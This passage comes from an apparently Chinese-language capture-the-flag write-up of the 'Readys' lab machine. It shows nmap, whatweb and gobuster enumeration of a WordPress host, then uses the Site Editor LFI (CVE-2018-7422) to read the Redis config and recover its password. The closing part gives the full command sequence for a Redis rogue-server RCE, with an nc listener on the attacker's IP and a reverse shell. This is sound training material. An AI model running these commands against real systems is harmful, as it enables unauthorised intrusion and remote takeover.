&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;27&lt;/span&gt;&lt;span class="cl"&gt;Network Distance: &lt;span class="m"&gt;4&lt;/span&gt; hops
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;28&lt;/span&gt;&lt;span class="cl"&gt;Service Info: OS: Linux&lt;span class="p"&gt;;&lt;/span&gt; CPE: cpe:/o:linux:linux_kernel
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;29&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;30&lt;/span&gt;&lt;span class="cl"&gt;OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;31&lt;/span&gt;&lt;span class="cl"&gt;Nmap &lt;span class="k"&gt;done&lt;/span&gt;: &lt;span class="m"&gt;1&lt;/span&gt; IP address &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt; host up&lt;span class="o"&gt;)&lt;/span&gt; scanned in 42.97 seconds
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;32&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;33&lt;/span&gt;&lt;span class="cl"&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-&lt;span class="o"&gt;[&lt;/span&gt;~/Desktop/Readys&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;34&lt;/span&gt;&lt;span class="cl"&gt;└─$ sudo nmap --script&lt;span class="o"&gt;=&lt;/span&gt;vuln -p&lt;span class="nv"&gt;$ports&lt;/span&gt; -Pn 192.168.147.166
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;35&lt;/span&gt;&lt;span class="cl"&gt;Starting Nmap 7.95 &lt;span class="o"&gt;(&lt;/span&gt; https://nmap.org &lt;span class="o"&gt;)&lt;/span&gt; at 2025-10-15 05:18 EDT
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;36&lt;/span&gt;&lt;span class="cl"&gt;Nmap scan report &lt;span class="k"&gt;for&lt;/span&gt; 192.168.147.166
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;37&lt;/span&gt;&lt;span class="cl"&gt;Host is up &lt;span class="o"&gt;(&lt;/span&gt;0.12s latency&lt;span class="o"&gt;)&lt;/span&gt;.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;38&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;39&lt;/span&gt;&lt;span class="cl"&gt;PORT STATE SERVICE
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;40&lt;/span&gt;&lt;span class="cl"&gt;22/tcp open ssh
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;41&lt;/span&gt;&lt;span class="cl"&gt;80/tcp open http
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;42&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; http-csrf:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;43&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Spidering limited to: &lt;span class="nv"&gt;maxdepth&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;3&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nv"&gt;maxpagecount&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;20&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nv"&gt;withinhost&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;192.168.147.166
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;44&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Found the following possible CSRF vulnerabilities:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;45&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;46&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Path: http://192.168.147.166:80/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;47&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Form id: search-form-1
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;48&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Form action: http://192.168.147.166/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;49&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;50&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Path: http://192.168.147.166:80/index.php/category/uncategorised/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;51&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Form id: search-form-1
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;52&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Form action: http://192.168.147.166/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;53&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;54&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Path: http://192.168.147.166:80/index.php/comments/feed/1quot&lt;span class="p"&gt;;&lt;/span&gt;https:/gravatar.com&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;quot&lt;span class="p"&gt;;&amp;amp;&lt;/span&gt;gt&lt;span class="p"&gt;;&lt;/span&gt;Gravatar&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;lt&lt;span class="p"&gt;;&lt;/span&gt;/a&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;gt&lt;span class="p"&gt;;&lt;/span&gt;.&lt;span class="o"&gt;]]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;55&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Form id: search-form-2
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;56&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Form action: http://192.168.147.166/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;57&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;58&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Path: http://192.168.147.166:80/index.php/comments/feed/1quot&lt;span class="p"&gt;;&lt;/span&gt;https:/gravatar.com&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;quot&lt;span class="p"&gt;;&amp;amp;&lt;/span&gt;gt&lt;span class="p"&gt;;&lt;/span&gt;Gravatar&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;lt&lt;span class="p"&gt;;&lt;/span&gt;/a&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;gt&lt;span class="p"&gt;;&lt;/span&gt;.&lt;span class="o"&gt;]]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;59&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Form id: search-form-1
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;60&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_ Form action: http://192.168.147.166/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;61&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_http-stored-xss: Couldn&lt;span class="s1"&gt;&amp;#39;t find any stored XSS vulnerabilities.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;62&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt;|_http-sql-injection: ERROR: Script execution failed (use -d to debug)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;63&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt;| http-fileupload-exploiter:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;64&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt;|
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;65&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt;| Couldn&amp;#39;&lt;/span&gt;t find a file-type field.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;66&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;67&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_ Couldn&lt;span class="s1"&gt;&amp;#39;t find a file-type field.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;68&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt;|_http-dombased-xss: Couldn&amp;#39;&lt;/span&gt;t find any DOM based XSS.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;69&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; http-wordpress-users:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;70&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Username found: admin
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;71&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_Search stopped at ID &lt;span class="c1"&gt;#25. Increase the upper limit if necessary with &amp;#39;http-wordpress-users.limit&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;72&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; http-enum:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;73&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; /wp-login.php: Possible admin folder
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;74&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; /readme.html: Wordpress version: &lt;span class="m"&gt;2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;75&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; /: WordPress version: 5.7.2
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;76&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; /wp-includes/images/rss.png: Wordpress version 2.2 found.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;77&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; /wp-includes/js/jquery/suggest.js: Wordpress version 2.5 found.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;78&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; /wp-includes/images/blank.gif: Wordpress version 2.6 found.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;79&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; /wp-includes/js/comment-reply.js: Wordpress version 2.7 found.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;80&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; /wp-login.php: Wordpress login page.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;81&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; /wp-admin/upgrade.php: Wordpress login page.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;82&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_ /readme.html: Interesting, a readme.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;83&lt;/span&gt;&lt;span class="cl"&gt;6379/tcp open redis
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;84&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;85&lt;/span&gt;&lt;span class="cl"&gt;Nmap &lt;span class="k"&gt;done&lt;/span&gt;: &lt;span class="m"&gt;1&lt;/span&gt; IP address &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt; host up&lt;span class="o"&gt;)&lt;/span&gt; scanned in 118.67 seconds
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;86&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;87&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;88&lt;/span&gt;&lt;span class="cl"&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-&lt;span class="o"&gt;[&lt;/span&gt;~/Desktop/Readys&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;89&lt;/span&gt;&lt;span class="cl"&gt;└─$ whatweb http://192.168.147.166/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;90&lt;/span&gt;&lt;span class="cl"&gt;http://192.168.147.166/ &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="m"&gt;200&lt;/span&gt; OK&lt;span class="o"&gt;]&lt;/span&gt; Apache&lt;span class="o"&gt;[&lt;/span&gt;2.4.38&lt;span class="o"&gt;]&lt;/span&gt;, Country&lt;span class="o"&gt;[&lt;/span&gt;RESERVED&lt;span class="o"&gt;][&lt;/span&gt;ZZ&lt;span class="o"&gt;]&lt;/span&gt;, HTML5, HTTPServer&lt;span class="o"&gt;[&lt;/span&gt;Debian Linux&lt;span class="o"&gt;][&lt;/span&gt;Apache/2.4.38 &lt;span class="o"&gt;(&lt;/span&gt;Debian&lt;span class="o"&gt;)]&lt;/span&gt;, IP&lt;span class="o"&gt;[&lt;/span&gt;192.168.147.166&lt;span class="o"&gt;]&lt;/span&gt;, JQuery&lt;span class="o"&gt;[&lt;/span&gt;3.5.1&lt;span class="o"&gt;]&lt;/span&gt;, MetaGenerator&lt;span class="o"&gt;[&lt;/span&gt;WordPress 5.7.2&lt;span class="o"&gt;]&lt;/span&gt;, PoweredBy&lt;span class="o"&gt;[&lt;/span&gt;--&lt;span class="o"&gt;]&lt;/span&gt;, Script&lt;span class="o"&gt;[&lt;/span&gt;text/javascript&lt;span class="o"&gt;]&lt;/span&gt;, Title&lt;span class="o"&gt;[&lt;/span&gt;Readys &lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="c1"&gt;#8211; Just another WordPress site], UncommonHeaders[link], WordPress[5.7.2]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;91&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;92&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;===============================================================&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;93&lt;/span&gt;&lt;span class="cl"&gt;Starting gobuster in directory enumeration &lt;span class="nv"&gt;mode&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;94&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;===============================================================&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;95&lt;/span&gt;&lt;span class="cl"&gt;/wp-contentwp-content &lt;span class="o"&gt;(&lt;/span&gt;Status: 301&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 323&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;--&amp;gt; http://192.168.147.166/wp-content/&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;96&lt;/span&gt;&lt;span class="cl"&gt;/wp-includeswp-includes &lt;span class="o"&gt;(&lt;/span&gt;Status: 301&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 324&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;--&amp;gt; http://192.168.147.166/wp-includes/&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;97&lt;/span&gt;&lt;span class="cl"&gt;/wp-adminwp-admin &lt;span class="o"&gt;(&lt;/span&gt;Status: 301&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 321&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;--&amp;gt; http://192.168.147.166/wp-admin/&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251015172704120.png"&gt;
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251015174458089.png"&gt;
发现存在用户名admin，但是密码爆不出来。&lt;/p&gt;
&lt;h3 id="site-editor插件漏洞"&gt;site-editor插件漏洞
&lt;/h3&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251015174810191.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;!&lt;span class="o"&gt;]&lt;/span&gt; Title: Site Editor &amp;lt;&lt;span class="o"&gt;=&lt;/span&gt; 1.1.1 - Local File Inclusion &lt;span class="o"&gt;(&lt;/span&gt;LFI&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt; References:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt; - https://wpscan.com/vulnerability/4432ecea-2b01-4d5c-9557-352042a57e44
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt; - https://cve.mitre.org/cgi-bin/cvename.cgi?name&lt;span class="o"&gt;=&lt;/span&gt;CVE-2018-7422
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt; - https://seclists.org/fulldisclosure/2018/Mar/40
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt; - https://github.com/SiteEditor/editor/issues/2
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251015174948159.png"&gt;
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251015175027033.png"&gt;
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251015175113687.png"&gt;
利用成功，发现有一个叫alice的用户，按照靶机的设置习惯，alice用户下面应该有一个flag，flag的文件名一般是local.txt，而root下面还有一个叫proof.txt的文件
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251015175307509.png"&gt;
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251015175613436.png"&gt;
想直接看ssh密钥的，复制下来直接登录，但是ssh密钥看不了，只能看一下redis的配置&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;/root/.ssh/id_rsa
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;/home/alice/.ssh/id_rsa
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;/etc/redis/redis.conf
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;cat 166redis.conf &lt;span class="p"&gt;|&lt;/span&gt;grep &lt;span class="s2"&gt;&amp;#34;requirepass&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251015180139117.png"&gt;&lt;/p&gt;
&lt;p&gt;得到redis的认证密码是Ready4Redis&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt; redis-cli -h 192.168.147.166 -a &lt;span class="s1"&gt;&amp;#39;Ready4Redis?&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt; info server
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251015180314139.png"&gt;
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251015180514704.png"&gt;&lt;/p&gt;
&lt;h3 id="redis-rce-漏洞反弹shell"&gt;Redis-RCE 漏洞反弹shell
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;git clone https://hk.gh-proxy.com/https://github.com/n0b0dyCN/redis-rogue-server.git
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;git clone https://hk.gh-proxy.com/https://github.com/Ridter/redis-rce.git
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; redis-rce
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;cp ../redis-rogue-server/exp.so .
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 新开一个终端等待反弹&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;rlwrap -cAr nc -nlvp &lt;span class="m"&gt;80&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 执行RCE脚本&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;8&lt;/span&gt;&lt;span class="cl"&gt;python redis-rce.py -r 192.168.147.166 -L 192.168.45.182 -P &lt;span class="m"&gt;6379&lt;/span&gt; -f exp.so -a &lt;span class="s1"&gt;&amp;#39;Ready4Redis?&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;9&lt;/span&gt;&lt;span class="cl"&gt;python3 -c &lt;span class="s1"&gt;&amp;#39;import pty;pty.spawn(&amp;#34;/bin/bash&amp;#34;)&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251015185203700.png"&gt;
找到数据库配置
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251015185541606.png"&gt;&lt;/p&gt;
&lt;blockquote class="alert alert-tip"&gt;
